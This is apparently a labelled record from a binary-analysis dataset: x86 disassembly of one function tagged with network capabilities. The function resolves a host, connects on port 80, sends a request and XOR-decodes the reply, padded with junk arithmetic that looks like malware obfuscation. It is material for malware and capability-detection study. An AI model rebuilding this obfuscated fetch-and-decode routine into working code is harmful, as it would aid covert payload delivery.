Function at 0x408640
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c4d0
push 0xffffffffffffffff
push 0x41e3eb
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x426120]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
xor edx, edx
mov word [ebp - 0x40], dx
xor eax, eax
mov word [ebp - 0x28], ax
mov dword [ebp - 0x3c], ebx
fst dword [ebp - 0x2c]
mov dword [ebp - 0x20], ebx
fstp dword [ebp - 0x38]
fldz
mov byte [ebp + 0x11bc], al
xor ecx, ecx
fstp qword [ebp - 0x34]
mov eax, esi
mov byte [ebp - 4], 1
mov word [ebp - 0x30], cx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4089bc
xor eax, eax
cmp eax, edi
jg 0x408768
mov dl, byte [eax + esi]
mov cx, word [ebp - 0x28]
mov byte [ebp + eax + 0x13bc], dl
movsx edx, cx
mov ecx, dword [ebp - 0x24]
cmp byte [ebp + eax + 0x13bc], 0x2f
lea edx, [edx + ecx + 0x52ff8955]
mov dword [ebp - 0x24], edx
jne 0x408765
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
lea esp, [esp]
cmp ecx, edi
jg 0x408768
movzx edx, word [ebp - 0x30]
mov bl, byte [ecx + esi]
imul edx, edx, 0x383baa07
mov word [ebp - 0x30], dx
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408740
inc eax
jmp 0x408706
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408771
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408784
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x4089a4
mov eax, edi
mov edx, edi
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087a0
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4087b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424fc0
rep movsb byte es:[edi], byte [esi]
call fcn.00401520
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408420
fldz
xor eax, eax
mov dword [ebp - 0x24], 0x4e130d9d
fstp dword [ebp - 0x14]
xor ecx, ecx
mov dword [esi], eax
push esi
mov word [ebp - 0x18], cx
mov byte [esi + 4], al
call fcn.0040b00e
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408821
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408500
push 0x32
push 0x423590
call fcn.00401520
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408851
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408500
fldz
push 0x32
fstp dword [ebp - 0x14]
xor eax, eax
push ebx
push esi
mov word [ebp - 0x18], ax
call fcn.0040b530
push esi
call fcn.0040b00e
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408890
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408500
push 5
push 0x423b08
call fcn.00401520
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088c0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408500
fld dword [ebp - 0x38]
fstp dword [0x4242d0]
xor eax, eax
fldz
xor edx, edx
mov dword [esi], eax
fstp dword [ebp - 0x14]
push esi
mov word [ebp - 0x18], dx
mov byte [esi + 4], al
call fcn.0040b00e
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x40893f
fld dword [ebp - 0x38]
fsubr qword [0x41f938]
fcomp qword [0x41f930]
fnstsw ax
test ah, 0x44
jnp 0x408929
add dword [ebp - 0x3c], 0x2bd9c166
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089bc
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4089b4
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, 0xffffffff
jne 0x408965
call sub.WS2_32.dll_WSACleanup
add dword [ebp - 0x24], 0x36d059c9
jmp 0x408da1
cmp dword [ebp + 0x1458], ebx
je 0x408994
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
movzx ecx, word [ebp - 0x30]
imul ecx, ecx, 0x570f7dc
mov word [ebp - 0x30], cx
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x4089e1
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089bc
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aba4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b694
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
mov dx, word [ebp - 0x40]
mov ecx, 2
mov word [ebp + 0x190], cx
movsx ecx, dx
sub dword [0x424fa8], ecx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408a44
cmp dword [ebp + 0x1b8], edi
jmp 0x4089ab
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a58
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408a7a
cmp dword [ebp + 0x1b8], edi
jmp 0x408da8
mov ecx, dword [ebp - 0x1c]
push ebx
push 0x41f928
call fcn.00408420
or edi, 0xffffffff
or ebx, edi
lea ecx, [ecx]
mov ecx, dword [ebp - 0x14]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408cc7
mov ecx, dword [ebp - 0x1c]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408500
test edi, edi
jge 0x408c88
push 5
push 0x423b08
call fcn.00401520
add esp, 8
mov esi, eax
lea edx, [eax + 1]
jmp 0x408ae0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ae0
mov ecx, dword [ebp - 0x1c]
sub eax, edx
push eax
push 0
push esi
call fcn.00404970
mov edi, eax
mov eax, dword [ebp - 0x24]
mov ecx, 0xb11cde43
sub ecx, eax
add ecx, dword [0x425f7c]
xor eax, eax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
xor edx, edx
push esi
fadd dword [0x4243e4]
fstp dword [0x4243e4]
dec dword [0x425f7c]
fldz
mov dword [esi], eax
fstp dword [ebp - 0x18]
mov byte [esi + 4], al
mov word [ebp - 0x18], dx
call fcn.0040b00e
mov eax, dword [0x42419c]
imul eax, eax, 0xada402a0
add esp, 4
mov dword [0x42419c], eax
test edi, edi
jl 0x408c88
fld dword [ebp - 0x2c]
fadd qword [0x41f920]
fadd qword [0x41f918]
fcomp qword [0x41f910]
fnstsw ax
test ah, 1
jne 0x408b8e
mov ecx, dword [ebp - 0x20]
add ecx, 0x48e109c7
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fmul dword [0x425f3c]
fstp dword [0x425f3c]
dec dword [ebp - 0x20]
jmp 0x408bac
movzx edx, word [ebp - 0x30]
movzx ecx, word [0x4252c8]
mov eax, 0x49b4ccac
sub eax, edx
imul eax, ecx
mov word [0x4252c8], ax
dec dword [ebp - 0x30]
movzx edx, word [0x425fd0]
mov eax, dword [ebp - 0x1c]
add edx, 0x4122e505
mov word [0x425fd0], dx
push eax
add edi, 4
call fcn.00406110
mov ecx, dword [0x424424]
mov dword [ebp - 0x18], ecx
mov ebx, eax
fild dword [ebp - 0x18]
add esp, 4
fld qword [str.c4g]
mov dword [ebp - 0x40], ebx
fsub qword [0x41f908]
fsubp st(1)
call fcn.0040b5b0
mov dword [0x424424], eax
fld qword [str.c4g]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [str.c4g]
test ebx, ebx
jge 0x408c86
fld dword [0x4235c8]
push 0xb
fsub st(1)
push 0x423b10
fstp dword [0x4235c8]
fld dword [0x4235c8]
fadd dword [0x4243e0]
fmul qword [0x424f98]
fstp qword [0x424f98]
fsubr dword [0x4243e0]
fstp dword [0x4243e0]
call fcn.00401520
mov ecx, dword [ebp - 0x1c]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405f30
push esi
push 0xb
mov ebx, eax
call fcn.00401fd0
movzx edx, word [0x425280]
imul edx, edx, 0xf4fc7259
add esp, 8
mov word [0x425280], dx
test ebx, ebx
jge 0x408cc7
mov ebx, dword [ebp - 0x40]
jmp 0x408c88
fstp st(0)
movzx eax, word [0x423578]
add eax, 0x39032e89
mov word [0x423578], ax
test ebx, ebx
jl 0x408caa
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408cc7
cmp dword [ebp + 0x1458], 0
je 0x408a90
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 0x14], 0x4000
jb 0x408a90
mov ax, word [0x42397c]
movzx ecx, word [0x4242f0]
mov edx, dword [ebp - 0x14]
cwde
add eax, 0xe9ae7e19
imul ecx, eax
push edx
mov word [0x4242f0], cx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408d05
push edi
mov edi, dword [ebp - 0x1c]
push 0
mov ecx, edi
call fcn.00405ea0
jmp 0x408d08
mov edi, dword [ebp - 0x1c]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408da1
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x408d86
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [ebp - 0x2c]
mov cx, word [ebp - 0x28]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 0x41
jp 0x408d51
fld qword [0x426010]
fsubr qword [0x41f900]
fmul dword [ebp - 0x38]
fstp dword [ebp - 0x38]
cmp esi, dword [edi + 0x14]
jbe 0x408d5b
call fcn.0040b800
cmp dword [edi + 0x18], 0x10
jb 0x408d66
mov eax, dword [edi + 4]
jmp 0x408d69
lea eax, [edi + 4]
xor byte [eax + esi], bl
mov eax, dword [ebp - 0x20]
sub eax, 0x67882ea7
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp qword [0x423b50]
dec dword [ebp - 0x20]
inc esi
jmp 0x408d18
mov ecx, dword [0x424198]
mov dword [ebp - 0x2c], ecx
fild dword [ebp - 0x2c]
fadd dword [0x425f00]
fsub qword [0x41f8f8]
fstp qword [ebp - 0x34]
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089bc
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4089b4